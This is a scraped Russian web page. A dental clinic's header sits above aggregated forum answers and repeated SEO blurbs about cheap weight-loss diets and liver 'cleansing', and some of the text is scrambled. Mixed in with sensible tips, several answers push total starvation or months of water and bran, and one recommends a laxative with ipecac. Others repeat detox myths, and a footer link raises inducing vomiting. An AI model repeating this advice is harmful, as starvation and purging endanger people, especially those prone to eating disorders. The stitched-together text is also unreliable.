Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Девочки, подскажите эффективную бюджетную диету

)) хлеб, вода

На сколько бюджетную ...все как всегда у меня один совет длоя худеющих-дробное правильно питние спорть и зож если не помогает-к специалисту

Вареная грудка (белок 2-3 г на кг веса (в 100 г. грудки 20 г белка)) или красная рыба, частая ошибка люди на диетене полностью исключают жиры. жиров должно быть 30% от всего рациона и жиры только правильные как омега-3(рыбий жир) и растительные (льняное масло). полностью исключить животный жир кроме рыбы. углеводы снизь до 200-150 г в сутки, калорийность дневного рациона не больше 2500ккал, продукты только с низким ГИ, гречка, овсянка, ни каких слодостей и мучного, побольше клетчатки (овощи) любой вид капусты без ограничений. за месяц спокойно 10 кг уйдет, главное больше белка и желательно кардио делай, минимум 40 минут с чсс 220-возраст и от этого 70-80 % к примеру 220-20лет = 200 значит нижний порог 130 верхний 140 не выше ни ниже чтоб пульс был. и можешь силовые тренировки включить. самое главное правило при похудении трать калорий больше чем получаешь. все очень просто и да забыл добавить много воды нужно. минимум 2.5 литра. и какой то умник про хлеб писал, белый хлеб не вкоем случае, только с отрубями, от белого хлеба полнеют. тк. к в нем нет клетчатки

Не жрать )

Мивина ) и закуска на хлеб )) и шик )

Попробуйте боннский суп - http://www.pro-zagar.ru/dieta-bonnskij-sup-dlya-pohudeniya/ , у меня за три дня пара кило улетела. можно на ней сидеть неделю, всю неделю есть овощной суп, фрукты, овощи и куриную грудку. за 7 дней кило 5 точно слетит

Вода

Вода, правильно сказали выше и эффективно 100%. Но если все таки чего то покушать то бк капуста в разных видах (только масла поменьше), она недорогая, яйцо - одно, овсянка на воде без сахара, тоже недорого пару ложек сухой на раз. Пачки овсянки на 2 недели хватит.

Должна быть только вода и ржаные отруби и так на протяжении 3-х месяцев, старый, зашлакованный организм снова становится как в молодости.

Есть какая-нибудь недорогая и действительно эффективная диета?

Чай с сыром и больше ничего. Но по моему лучше больше двигаться, чем меньше есть

Экзотические диеты на креветках и ананасах вещь, безусловно, приятная, но не каждой женщине по карману такие дорогостоящие изыски. Сегодня женский журнал JustLady предлагает вам недорогие эффективные диеты, которые помогут сбросить лишний вес...

Есть-меньше жрать, больше двигаться и заниматься спортом. Дешево и сердито..

Система - 60

Питаться нужно 4-5 раз в день.
Разница 3 часа.
Исключить: тортики, пирожные, конфеты, булочки, пироги, алкоголь, из мяса свинину, майонез, кетчуп, хлеб, можно и картофель. Из сладкого можно оставить черный шоколад.
Утром углеводы : к примеру каша. (фрукты)
Обед, полдник, ужин : белки (мясо, рыба, фасоль, синие, молочные продукты), овощи.
Раз в неделю на кефире.
Пить 2 литра в день воды чтобы токсины не всасывались в кровь. 1200 ккал в день. + спорт

Зачем так грубо - жрать.... я рекомендую трехчасовую диету. она наиболее физиологична, не дает понижения обмена веществ. правда, вес уменьшается постепенно, но ведь и наедалось не за день.
завтрак обязателен. ешьте геркулес, запаривайте, добавляйте изюм, пейте зеленый чай. можно одно яйцо.
на второй завтрак любой фрукт.
на обед суп овощной, кусочек мяса, на гарнир две ложки картофеля, ложка салатика с добавлением постного масла (1чайная ложка) , любой сок.
на полдник любой фрукт.
на ужин творог или кусочек рыбы с овощным гарниром.
на ночь стакан кефира. и все. такую диету можно соблюдать хоть всю жизнь.
откажитесь от сладкого, жирного, мучного, жареного и соленого. хлеба не более 3 кусочков по 30 гр.
спите не менее 8 часов. и займитесь танцами. особенно танец живота помогает убрать бедра и живот!

Диета ABC
очень действенная
только силу воли надо иметь очень хорошую, чтобы на ней сидеть

Но быстрые, легкие, на 100% эффективные диеты существуют, выбирайте свою!Какие бы методики похудения вы ни использовали, никакая диета не будет эффективна, если не соблюдать общие для всех условия.

Система минус 60!

Чтобы по-настоящему похудеть, достаточно отказаться от трех вещей — завтрака, обеда и ужина. Фрэнк Ллойд Райт
Если хочешь похудеть, ешь все, но ничего не глотай. Гарри Сиком.

Никакая диета не поможет, если вы не начнете двигаться!

Хорошо переносятся, дешевы и достаточно легки в применении диеты на основе каш Выбираете крупу, которая вам нравиться больше и за неделю можно сбросить - 4-5 кг, но после диеты нужно правильно питаться иначе все бесполезно.

Фигура еще так далека от совершенства.. . Что же делать? Нужно какое-то эффективное и быстрое средство для похудения. И при этом совсем не хочется истязать собственный организм немыслимыми нагрузками или экстремальными продуктами. Итак, мы хотим похудеть, при этом оставаясь бодрыми и жизнерадостными. То есть нам нужна диета, которая поможет эффективно снизить вес и не голодать при этом.
Такая диета существует – гречневая. Она рассчитана на одну неделю, но наиболее стойкие дамы выдерживают и до двух недель. Именно о ней мы и поговорим на МирСоветов.
Продукты для гречневой диеты
Суть проста: берем один стакан не дробленой гречневой крупы, заливаем двумя стаканами кипятка и оставляем настаиваться на ночь. Утром едим только гречку, запивая ее 1% кефиром. Солить, сластить и добавлять масло в гречку нельзя. Съесть за один раз можно «сколько влезет» - несоленая гречка обладает настолько специфичным вкусом, что вряд ли вы съедите больше 10 ложек за раз. Кефир должен быть свежим и не сладким. В первый день гречневой диеты вполне достаточно будет одного стакана заваренной гречневой крупы (то есть двух стаканов готового продукта) . Но если почувствуете, что можете съесть больше, на другие дни заваривайте большее количество крупы (пропорция та же: 1 часть гречки, две части воды) . Но при любом количестве гречки вы можете выпивать не более 1 литра кефира в день. Тем, кто не мыслит свое утро без чашки кофе, можно не отказывать себе в этом удовольствии, только кофе должен быть слабым и без сахара. То же можно сказать и любительницам чая. На время сидения на гречневой диете лучше перейти на зеленый чай. Если будет уж очень тяжело кушать одну гречку, можно сделать себе послабление в виде одного-двух яблок или апельсинов в день. В принципе, можно есть любые фрукты кроме бананов и винограда. Все зависит от количества съеденных фруктов, если съесть слишком много, потом просто не сможете вернуться к суровой гречневой диете. Когда станет совсем невмоготу все время кушать несоленую гречневую кашу, можно сдобрить ее соевым соусом. Только соус должен быть низкокалорийный и без соли. Во время гречневой, как во время большинства других диет, крайне не желательно есть после 6 часов вечера. Но если вам трудно следовать этому правилу, оставьте на вечер полстакана кефира, долейте водой до полного и выпейте это перед сном.
Что происходит с организмом во время гречневой диеты?
Начнем с того, что гречневая крупа очень полезна, в ней содержатся такие микроэлементы как железо, калий, магний, кальций. Кроме того, гречка укрепляет стенки сосудов. Вдобавок, содержащийся в гречке витамин В повышает устойчивость организма к стрессам и улучшает состояние кожи, волос и ногтей.
Отрицательная сторона гречневой диеты в том, что вы не будете получать ни соли, ни сахара. Поэтому эту диету следует применять с осторожностью людям, у которых диабет и/или гипертоническая болезнь. Несоленая гречка выводит из организма шлаки и лишнюю воду. Из-за того, что в организм не поступает соль, периодически возможны головные боли, а также это может спровоцировать падение артериального давления. Пока мы сидим на гречневой диете, мы обделяем свой организм и сахаром. А сахар – это глюкоза, которая так необходима мозгу для эффективной работы. Поэтому во время гречневой диеты вы можете почувствовать, что голова стала соображать хуже и безумно хочется сладкого. Выход есть: разведите чайную ложку меда в стакане воды и выпейте этот «напиток» . Не бойтесь, вся глюкоза достанется мозгу, а не отложится на бедрах.
Пока вы будете есть только гречку и пить кефирчик, организму придется пускать в оборот свои резервы – сжигать жир, чтобы обеспечить организм недостающими питательными веществами. В результате ускорится обмен

Мы предлагаем вам несколько дешевых диет для похудения на выбор, основанных на употреблении недорогих продуктов.Самая легкая диета для похудения варианты диеты, рацион Щадящая диета для похудения живота рацион, правила Эффективные диеты для...

Порекомендуйте диету

На капустную садись и дешево и эффективно

Эффективная, недорогая диета для похудения. Завтра сажусь на диету! .Встречаются диеты, в которых используются дорогие или редкие продукты либо требуется готовить много специфических блюд, что, конечно, не всех устраивает.

От любимой можно потом набрать в два раза больше, я советую перейти на правильное питание- это единственный точный способ когда можно похудеть так, что бы кг не возвращались.

Диета Дьюкана. Супер диета!

Если Вы хотите быстро похудеть, можно неделю посидеть на питьевой, либо на голодание (нельзя ничего, кроме воды)

Могу дать ссылку на сайт эксперта в области похудания. Более 20 лет исследований, авторских разработок и каждодневной работы с клиентами. Если интересно пишите. Отвечу

Подскажите самую дешевую и эффективную диету.что бы похудеть за месяц на 10кг

Не жрать.
Тотальная экономия на продуктах.
Как раз за месяц шкурка на 10 кило и обвиснет.

Питьевая диета недорогая, но эффективная диета, а так же достаточно удобная.Если вы еще не стали приверженцем ни одной из систем питания и подбираете легкие диеты недорого для кошелька, то данная статья для вас.

Не есть - самая эффективная диета!!!

10 кг в месяц — слишком много . Думаю, что максимально на сколько ты можешь похудеть — это 5 - 7 кг .И лучше обходись без диет, т. к. диета — это временно, потом ты всё равно будешь налягать на любимую еду . Просто откажись от мучного и сладкого, не кушай после 6-7 часов вкчера, пей минимум 2 л воды, занимайся по часу физ. упражнениями и всё !))

Что совсем что ли, куда тебе худеть так самое нормально (попросить закрыть в погребе на месяц с водой и не открывать ни в коем случае)

Ничего не ешь, не нравиться? так на 10 кг только так

10 кг вряд ли, а 6кг точно можно сбросить. Не есть жареного, колбасные изделия, соленое исключить и соль вообще меньше употреблять, картофель печеный или в "мундире" не чаще 2 раз в неделю. Разгрузочные дни (1-2 раза в неделю) . Питаться дробно. Пить воду. Физ. нагрузки.

Самые эффективные и быстрые диеты. При выборе диет для быстрого похудения, руководствуйтесь следующими правиламидля более комфортного похудения выбирайте диету, в которой все блюда легко приготовить, чтобы меньше находиться на кухне и не...

Гречнево-кефирная диета. Главное выдержать хотя бы 10 дней, увидишь результат.

На 10 кг за месяц это очень много

Вообще не жрать и не пить..

Это не много! белковая или чередование) погуглите) ) раздельное питание и обязательно вода и спорт

Подскажите дешёвую и результативную диету, пожалуйста!

Есть только белковую пищу: мясо, рыбу, все естественно без масла. творог и кефир нежирый.

Дешевая диета призвана снизить вес, не снизив при этом чрезмерно содержимое кошелька. Одна из самых дешевых диет включает в себя простые продукты, доступные даже студенту.

Диета только одна больше движения при нормальном питании )))

Голодание, самая дешевая диета! Отдайте мне, эти киллограмы, мне как раз нехватает.

Безденежье
до кризиса женщина содержала салон -консультацию
ходили худали масово
теперь салон закрылся
САМОВЫЛЕЧИЛИСЬ ...

Доброе утро.. . самое простое (из собственного опыта) заменить ужин на кефир, кефир должен быть комнатной температуры, 1-2% жирности, пить можно весь вечер небольшими порциями.... я пью от 0,5 до 0,7 литра, результат минус 3-5 кг в месяц, не напрягаясь... удачи

Вот тебе журнал

Фигура, диеты содержат фрукты, мясо, рыбу, морепродукты, самая простая, легкая, главная доступная всем диета кефирная, простая, эффективнаяМай 23, 5380 2 32 пп Вы находитесь Здесь Главная ДИЕТЫ Самая дешевая и эффективная диета для похудения, кефирная.

Я уже три года держу себя в форме вот так: раз в неделю один день ем вареный рис, слегка подсоленый СЛЕГКА при варке. Это у меня разгрузочный день. А так голодом не изнуряю себя, вместо майонеза ем сметану в пищу, а вечером когда есть хочется сильно сильно готовлю себе фунчозу с огурцом или помидором с маслом оливковым чуть чуть солю. Легкость внутри ощущается! И еще мой совет - уменьшить порции в два раза, уверяю!! ! -результат уже через двое суток будет заметным)

Гречневая (если конечно Вы ее едите) - 1ст. гречки без соли залить 2 ст. кипятка, дать распариться и есть весь день с 1 л кефира 1%. Можно использовать эту диету до 2-х недель.

Скачайте с интернета фитнес ЭНВИ результат не заставит себя ждать .и не тяжелый. сама им занимаюсь. И когда садитесь кушать сьели половинап и отвлекитесь, позвоните кому нибудь. аппетит процдет и доедать не захочется. Вот и все

Самая результативная-уменьшить порции, пить достаточное количество воды и заниматься спортом

1200 ккал в день + физические нагрузки ( небольшие)

Питьевая диета эффективная, но недорогая диета, а так же достаточно удобная. день Целый вы пьете только воду, кофе, или чайеще вы Если не стали приверженцем ни одной из систем подбираете и питания легкие диеты недорого для данная, то кошелька статья для вас.

У меня после разных диет ожирения и нервного срыва развился диабет то сижу на диете которая для диабетиков нужно соблюдать всю жизнь то она в применении очень проста. ничего сладкого картофеля (скрытый сахар) и все что с мукой в/с и питаться 5-6 раз в день маленькими порциями .хочешь сладкого то иногда зайди в отдел для диабетиков там полакомится есть чем! а вообще совет такой идите пожалуйста к диетологу!

Утром вареный кофе с сахаром и до 12 ничего не есть... потом все как обычно... но утром снова только кофе с сахаром и да 12 ничего

Самая дешёвая, заклей рот и ни чего ни ешь, это будет голод. Дёшево и сердито

Как быстро и эффективно почистить печень? возможно,диеты или хорошие,недорогие препараты??

Быстро и эффективно, да еще и недорого - это из области фантастики. Чистить печень имеет смысл после очистки кишечника, а так, разве что для ее поддержки.

Кроме как употребление диетических продуктов необходимо ввести в рацион около ста грамм крепкого или семьсот грамм легкого алкоголя.Дешево и эффективно кефирная диета.

А Вы замерзаете?

Печень не унитаз чтоб её чистить... когда она здорова то не нуждается ни в каких чистках... а когда больна, то не справляется со своими функциями и требует лечения... в этом случае надо лечить ( а не "чистить")...диеты, отвары, витамины.... это профилактика.... а не "чистка"....а если всё таки хотите "чистить" печень.... самое эффективное средство-ёршик посудный

Отвар овса- самое лучшее и безопасное средство!

Все органы самовосстанавливаются и не нуждаются в чистке! можно только навредить всякими вещами извне. Не занимайтесь ерундой. Если Вы не будете пить алкоголь - вот будет Ваша помощь печени. Также к помощи можно отнести здоровое питание, отсутствие курения и т. д. Все в Ваших руках, в том числе и здоровье.

Никак. Нет даже такого понятия в медицине - чистка печени, кишечника и т. д. Всё это флуд и коммерция. Источник - врач.

Эффективные диеты Водная диета для похудения. Дешево и эффективно!Основной заключается в том, что она эффективная и недорогая, как некоторые диеты, приспособленные только для миллионеров.

Печень чистит весь организм и себя САМА в норме очищает. А если печень БОЛЬНА, то ее нужно ЛЕЧИТЬ лекарствами. Лекарства назначает ВРАЧ, после опроса пациента, осмотра, обследования. Вот что официальная медицина знает о печени:
Функции печени
•обезвреживание различных чужеродных веществ (ксенобиотиков) , в частности аллергенов, ядов и токсинов путём превращения их в более безвредные, менее токсичные или легче удаляемые из организма соединения;
•обезвреживание и удаление из организма избытков гормонов, медиаторов, витаминов, а также токсичных промежуточных и конечных продуктов обмена веществ, например аммиака, фенола, этанола, ацетона и кетоновых кислот;
•участие в процессах пищеварения, а именно обеспечение энергетических потребностей организма единой «энергетической валютой» — глюкозой, и конвертация различных источников энергии (свободных жирных кислот, аминокислот, глицерина, молочной кислоты и др. ) в глюкозу (так называемый глюконеогенез) ;
•пополнение и хранение быстро мобилизуемых энергетических резервов в виде депо гликогена и регуляция углеводного обмена;
•пополнение и хранение депо некоторых витаминов (особенно велики в печени запасы жирорастворимых витаминов А, D, водорастворимого витамина B12), а также депо катионов ряда микроэлементов — металлов, в частности катионов железа, меди и кобальта;
•участие в процессах кроветворения, в частности синтез многих белков плазмы крови — альбуминов, альфа- и бета-глобулинов, транспортных белков для различных гормонов и витаминов, белков свёртывающей и противосвёртывающей систем крови и многих других; печень является одним из важных органов гемопоэза в пренатальном развитии.
•синтез холестерина и его эфиров, липидов и фосфолипидов, липопротеидов и регуляция липидного обмена;
•синтез желчных кислот и билирубина, формирование желчи;
•также служит депо для довольно значительного объёма крови, который может быть выброшен в общее сосудистое русло при кровопотере или шоке за счёт сужения сосудов, кровоснабжающих печень.
•синтез гормонов и ферментов, которые активно участвуют в преобразовании пищи в 12-перстной кишке и прочих отделах тонкого кишечника;

Бюджетную диету, которая эффективна, подскажите пожалуйста... очень надо

Пей вода, ешь вода-срать не будишь никогда....

Недорогие диеты. можно ли похудеть на геркулесе. диета дюкана можно ли сахарозаменитель.Простая и эффективная диета для похудения Самые простые и эффективные диеты.

3 дня - обезжиренный кефир, 3 дня - зелёные яблоки, 3 дня - обезжиренный кефир. Я сбросила за 9 дней 3,600

Гречневая диета, просто, без напряга и эффективна, описание в сети, поищи.

Самая лучшая дешевая и эффективная диета до февраля14 подскажите

Я без тренажерного зала похудела на 5 кг за месяц, если бы не НГ и ДР, возможно и больше. Считала калории, отказалась от сладкого и хлеба, после 6 не есть, утром делала зарядку, через день медовые обертывания с маслом грейпфрукта, и на сайте нашла комплекс упражнений. своим результатом довольна. стремлюсь дальше. Главное в день выпивала 1,5 л чистой воды, занималась с 17 до 18, сказали самое идеальное время, ела за 2 часа до тренировки супы или курицу, и через час или полтора после нее грейпфрут

Существуют различные эффективные и быстрые диеты. Самые эффективные и популярные имеют хорошие отзывы, но рассчитаны они на человека, который хочетЗавтрак должен быть более углеводным, обед должен содержать больше белков, а ужин должен быть легким.

Утро чай или кофе без сахара и молока. в обед рис вареный или гречка. вечер пол стакана кефира разбавленого водой. на такой диете я сидела 2месяца и с 75кг осталось 55кг

Здравствуйте. Подскажите недорогую,эффективную диету.

Овощи, фрукты и.... конечно побольше двигаться

Легких путей нет. Нередко женщины стремятся похудеть любой ценой.В связи с этим поиски простой, недорогой, быстрой и эффективной диеты для быстрого похудения на 2 недели или на любой другой срок, приобретает особую актуальность.

Ходить много. по МАЛУ есть за раз.

Нужен рецепт очень хорошей и не дорогой диеты.

Простейшая диета от футбольного комментатора Василия Уткина: "НЕ ЖРАТЬ"!!

Какие только эффективные диеты для быстрого похудения не предлагаются нам различными печатными изданиями и онлайн журналами. Можно найти и легкие, и строгие, и.

Один стакан кипячёной воды за два дня до еды))) )
а если серьёзно, то не отказывай себе в еде, но ешь по чуть-чуть. поставь приоритет на натуральные продукты. со временем при таком питании желудок уменьшается в размерах и ты просто не сможешь кушать в больших количаствах - некуда будет.

У меня подруги сидели на Кремлевской диете, главное выбрать себе продукты с меньшим колличеством каллорий, результаты были заметны даже через короткое время ))

7кг. за 7 дней.
Диета рассчитана на одну-две недели потом следует сделать перерыв хотя бы на месяц. В гречке содержится много полезных веществ, но все равно лучше дополнительно принимать витамины. Как приготовить?
промытую гречку залить крутым кипятком (из расчета 1 стакан крупы на 2 стакана воды, укутать кастрюлю в одеяло и поставить настаиваться на ночь. ВАрить не надо! Можно есть кашу с обезжиренным кефиром, но лучше обходится без него.
Личный опыт.
Я перехожу на эту диету раз в месяц и чувствую себя превосходно. Гречку готовлю без соли и специй. Поначалу, когда казалось совсем не вкусно, заливала кашу однопроцентным кефиром. Есть ее можно сколько угодно, но кефира выпивать не более одного пакета в день.
Рекомендуется пить негазированную воду - чем больше, тем лучше. Если вы решили продлить диету больше, чем на неделю, можно добавить в рацион 1-2 обезжиренных йогурта или пару фруктов.

Я вот варила себе суп из сельдерея, помидор, зелени, перец болгарский, капусты
и два кубика Галины Бланка (для соли). Мерзость такая, но зато много не съешь!
Да и потеть начинаешь, значит и худеть!

Какой самый эффективный и недорогой способ похудания?Диеты какие нибудь,упражнения подскажите

Купи книгу доктора аткинса и если будешь придерживаться прочитаного быстро похудеешь проверенно.

Самые эффективные диеты для быстрого похудения.Этот нехитрый продукт, благодаря появляющимся в процессе брожения молочнокислым бактериям, легко усваивается организмом и поднимает иммунитет.

Скажу самый наверное дешевый способ похудеть - диета под названием "держать себя в руках и не есть несколько дней". Поможет 100% при должном упорстве и упрямстве :) просто не есть, и всё окей, организм сам сьест весь подкожный жир :))

Полезные советики =))) (научилась на собственном опыте)
1)газировку лучше не пить, мало того, что очень вредно, но и калорийность выше крыши (в одном стакане - как в куске торта) Я нашла замену - минералка с газом (По-началу не привычно, а потом уже жить без нее не можешь)
2)Томатный сок превосходно заменяет алкоголь
3)Не стоит есть салаты типа оливье (где очень много составляющих и майонеза) -лучше выбирай овощные, и/или с морепродуктами
4)майонез прекрасно заменяет сметана =)
5) не покупай домой сладкое и чипсы (как говорится: с глаз долой - из сердца вон)
6)Выпивай на ночь стакан 1% кефира =) с утра встав на весы приятно удивишься =)))
7)Мясо, рыбу, курицу лучше запекать в духовке, а не жарить (нет масла – нет лишних калорий =) (если интересно, могу поделится рецептиками)
8)Выбирай молочные продукты с низким содержанием жира (1% 1,5%). Ты приятно удивишься сколько калорий можно на этом сэкономить.

Есть нужно только тогда, когда действительно проголодаешься. Старайся не есть мучное (особенно сдобу). Обязательно много двигайся!! ! Обязательно завтракай, если есть аппетит по утрам, а вот от плотного ужина лучше отказаться (достаточно легкого супа).

Baltasaar вам тут насоветует не слушайте что организм жир сам будет съедать, бред сивой кобылы, нехватку веществ он будет брать из мышечной ткани!!!! можно разгрузочные дни делать максимум два дня в неделюи не в коем случае ни один за другим.

Зайдите на сайт WWW dieta.ru

Сегодня мы рассмотрим самые эффективные и недорогие способы быстрого похудения, которые используются большинством российских женщин.Выходят примерно те 1200 ккал, о которых говорится во всех низкокалорийных диетах. Можно, конечно ничего не считать и просто...

Система одно канадской тетеньки Терезы Тапп. У нее простроеная серьезная система упражнений и диета. Можно и только диету, цитата с сайта указанного ниже:
"God made/ Man made dietary plan" план питания "Cоздано богом/создано человеком" улучшит ваши результаты, и в то же время позволит вам наслаждаться пищей которую вы любите.
УГЛЕВОДЫ СОЗДАННЫЕ ЧЕЛОВЕКОМ
Эти улеводы помгают нам набирать вес, не только потому что тело легко превращает их в глюкозу ( избыток которой откладывается в виде жира) , но из-за того что в них присутствуют химические калории. Химические калории (искустаенные добавки, красителе, ароматизаторы) затрудняют способность тела перерабатывать пищу. К тому же, как мы уже говорили раньше, большой процент глюкозы откладывается в виде жира в жировых клетках. К сожалению, мы не можем уменьшить количество жировых клеток- все, что мы можем сделать -это опустошить их.
Созданные человеком угдеводы это: хлеб, макароны, печенье, конфеты, пирожные и торты, чипсы, крекеры, большинство хлопьев, мюсли которые мы едим на завтрак.
УГЛЕВОДЫ СОЗДАННЫЕ БОГОМ
Эти углеводы не приводят к набору веса, хотя бы потому что они сбалансированны природой без добавления различных химикатов. В них сбалансированны витамины, минералы. Но некоторые из них все же могут служить причиной набора веса, например картофель- из-за высокого гликемического индекса (то есть картофель мы отнесем к дням когда мы едим созданные человеком углеводы) . Примеы Созданных богом углеводов: овощи, фрукты и цельные зерна.
Занимаясь т-тапп вы должны есть всего понемножку, то есть соблюдать пропорции. Не переживайте и не думайте об очень строгих диетах. Тереза считает, что вы не должны исключать свои любимые блюда из диеты.
1. Сократите употребление Созданных человеком углеводов. То есть потребляйте их каждый третий день.
2. 2 дня потребляйте только углеводы созданные богом . Например, овощи, суп, салат. Это мы называем "чистой едой".
3. На третий день расслабтесь и наслаждайтесь пищей которую вы любите-то есть созданную человеком. Научитесь слушать свое тело. Как бы то ни было не перестарайтесь в этот день.
То есть 2 дня мы едим углеводы созданные богом, которые составляют 55% нашего дневного рациона и одень день мы едим созданные человеком углеводы, затем опять 2 дня созданные богом и один день человеком и тд.
Сама занимаюсь по этой системе и результаты реальные есть. Желаю удачи!
Кстати на форуме e-diet.ru есть отдельная ветка где девчата делятся результатами и советами по т-таппу.

Не забывайте что диета должна быть всегда ИНДИВИДУАЛЬНОЙ!
Обратитесь к специалисту или подберите диету на специальном сайте, типа

Гречневая диета
Гречка на ужин, гречка на обед, гречка на завтрак, вот и весь секрет! Неделя гречневой моно-диеты - и ты в "минусе"!
Рекомендация в этой диете только одна: надо есть гречку. Но не обычную, потомившуюся в кастрюльке на медленном огне минут двадцать, а чуть сыроватую. Забавно, что весь свой дневной рацион ты можешь приготовить в течение одной ночи. И при этом, не нужно торчать у плиты с поварешкой.
Возьми гречневую крупу (желательно не дробленую) и кипяток. Залей гречку один к двум и закрой крышечкой. Она сохранит все полезные свойства, и утром ты уже сможешь подкрепиться. Но учти! Соль, специи, масло и уж тем более майонез - для тебя в эту неделю не существуют.
Чтобы совсем не заскучать на одной грече, можешь разнообразить рацион литром 1%-ого кефира и парой зеленых яблок. Гречки можно есть столько, сколько влезет. Но не стоит кушать больше чем за 4 часа до сна. Но если невмоготу, выпей стаканчик кефира.
Планы: за неделю похудеть на 4-7 кг
Преимущества: Лозунг гречневой диеты: "Дешево и быстро". Кроме того, она способствует очищению организма и выводу шлаков.
Сложности: чтобы возненавидеть гречку всей душой у тебя мало времени только на первый взгляд. Впрочем, есть любители, "гречневый" аппетит которых не перешибешь недельной моно-диетой. Злоупотреблять диетой не стоит, - все-таки это ограничение лишает организм очень важных полезных веществ, которые он добывает из других продуктов.

Нужна эффективная недорогая диета!!!СРОЧНО!!!


С помощью недорогих, но эффективных средств можно значительно подтянуть овал лица, сделать его более четким.Мириманова считает, что такой способ позволяет легко переносить диету и помогает избегать срывов.

Самое эффективное -холодильник на замок! Похудеете на все 100!

Главное не картошка, булки, бананы... Кушать только днем... И секс, как шейпинг....

Кремлёвская деета верный способ, у меня мама похудела на 5 кило за 2 недели!!!!

Пурген и корень ипекакуаны - недорого и эффективно

Просто супы, разные. эфективно, полезно (желудок не посадите), работает... похудела за месяц на10кг.

Плюсы и минусы дешевой диеты. Главным достоинством диеты является то, что она действительно недорогая и очень эффективная. К концу третьего дня диеты убыль веса составляет до 3 кг.

1 день яблоки
2 дня кефир 3-4 литра в день
потом в баньку сходите
очень хороший и не особо напряжный для здоровья и души вариант

Просто надо захотеть. И организм сам почувствует и будет худеть. Я так делаю. Ни на каких диетах не сижу. Пару раз пробовала, только желудок и нервы испортила. Смотрю почаще на себя голую в зеркале и начинаю ругать, периодически. Механизм запускается.

Какая диета самая недорогая и эффективная в то же время?

Нет таких

Статьи о фитнесе, здоровье и красоте, здоровом питании, эффективных диетах. Отзывы врачей о препаратах и БАДах для похудения.Их легко соблюдать, в том плане, что они не требуют умения готовить по сложным рецептам, составления особых схем приема пищи, а...

Моя диета!
Но тебе такая диета не по зубам!

Просто не жрать

Это и будет диета)) ) закупила продуктов любых на эти деньги и месяц топчешь;))

За такие деньги это не диета, а впроголодь. Хотя попробуй, откажись от всего сладкого и варёно-копчёного. Ешь каши.

Диета от балерины Майи меньше жрать. Как раз на 1500 и выйдет.

Экзотические диеты на креветках и ананасах вещь, безусловно, приятная, но не каждой женщине по карману такие дорогостоящие изыски. Сегодня женский журнал JustLady предлагает вам недорогие эффективные диеты, которые помогут сбросить лишний вес...

Каши и яблоки, кефир) но всё по чуть-чуть)

Все диеты на кашах - http://fotodiet.ru/kashi-dieta.htm дешевые и эффективные, ведь крупы стоят копейки.

Не есть после 18.00 Это золотое правило!!!! Начинаешь скидывать сразу. И 2 раза в неделю разгрузочный день устраивать. Недорого и полезно.

Правильное питание: )
Утром и днем углеводы, вечером белки и клетчатка (свежие овощи) .
И после 6 обязательно надо есть, если вы не в 21 ложитесь спать конечно:)

Мне помог редуксин и спорт. Аппетит снизился, сладкого не хочу и вес за месяц ушел на 3 кг. Самое главное, я перехожу на ПП и тогда точно не наберу обратно кг.

Но быстрые, легкие, на 100% эффективные диеты существуют, выбирайте свою!Какие бы методики похудения вы ни использовали, никакая диета не будет эффективна, если не соблюдать общие для всех условия.

Как мама двоих детей я знаю, что очень сложно бороться с лишним весом при таком образе и ритме жизни. Перепробовала множество “чудодейственных средств” в виде таблеток, ягод годжи, редуксинов, фиолетовых кофе, чаёв, платырей и примочек. Заявляю категорически – кроме вреда для здоровья и временного снижения веса с последующим его набором – абсолютно никакой пользы! Около года назад мне порекомендовали Сергея Сивца. Это оказался первоклассный специалист по фитнесу и один из лучших диетологов Москвы. И просто хороший, отзывчивый человек. Очень рекомендую программы питания и программы тренировок Сергея Сивца! Для дома, улицы и тренажерного зала. Есть специальные программы для похудения живота и боков! На мой взгляд, они самые эффективные. Можно быстро и безопасно похудеть без насилия над собой! Сайт у него, по-моему, атлетик блог ру. Можно через поиск найти. Успехов всем худеющим!

Подскажите диету!чтобы недорого и эффективно!очень нужно!

Можно есть гречку без молока! Проверено на старшей сестре!

Мы предлагаем вам несколько дешевых диет для похудения на выбор, основанных на употреблении недорогих продуктов.Самая легкая диета для похудения варианты диеты, рацион Щадящая диета для похудения живота рацион, правила Эффективные диеты для...

Перестать есть

Лейкопластырь на рот .

Займись спортом, начни бегать по утрам и все =) быстро и эффективно!

Когда уже перестанут ЗДЕСЬ задавать этот вопрос? Ответ ОДИН----
"НЕ ЖРАТЬ"и больше двигаться!! ! Ну-у-у о-о-чень недорого и эффективно!!

500 м квадратных пола (спорт зал, вестибуль) каждый день, его перемыть 3- месяца и все в порядке.
Выгода: з/п; потеря веса кг 15.

Эффективная, недорогая диета для похудения. Завтра сажусь на диету! .Встречаются диеты, в которых используются дорогие или редкие продукты либо требуется готовить много специфических блюд, что, конечно, не всех устраивает.

Десять дней
1 день: гречка на воде (запаренная) , молоко, чай зеленый.
2 день: 500г творога, зеленые яблоки (лучше запеченные)
3 день: рис, 1.5л томатного сока без соли.
4 день: 400г рыбы, зеленые овощи
5 день: = 1 дню
6 день: 300г мяса (лучше телятины) , зеленые овощи
7 день: 6 стаканов чая с медом
8 день: 1,5 л. кефира
9 день: 1,5 л минеральной воды без газа с лимоном.
10 день: геркулесовая каша и фрукты.
Потеря в весе 6 кг.

Надо меньше есть

Недорого и эффективно - кефир 3 раза в день в любом кол-ве, ну и пара сухариков в обед

Зайди в блог "Худеем вместе" там очень много нормальных советов

Квашеная капуста. И недорого, и эффективно!

Питьевая диета недорогая, но эффективная диета, а так же достаточно удобная.Если вы еще не стали приверженцем ни одной из систем питания и подбираете легкие диеты недорого для кошелька, то данная статья для вас.

Кто может посоветовать хорошую, эффективную и недорогую диету?

Кефир с огурцами!

Самые эффективные и быстрые диеты. При выборе диет для быстрого похудения, руководствуйтесь следующими правиламидля более комфортного похудения выбирайте диету, в которой все блюда легко приготовить, чтобы меньше находиться на кухне и не...

Просто ничего не есть! самый эффективный способ!

Посиди в КПЗ!

Меньше жрать, а больше спортом заниматься!

Лучшая диета-не есть после 18.00!!!!

  • Диета при хронической почечной недостаток точности - Какие витамины отвечают за настроение и счастье Нет таких витамнов В более далеко зашедшей стадии хронической почечной н
  • Вызываю рвоту чтоб похудеть - Можно ли так не много похудеть? Хочешь заработать ГАСТРИТ? действуй.... Кто и на сколько похудел, вызывая рвоту после ед
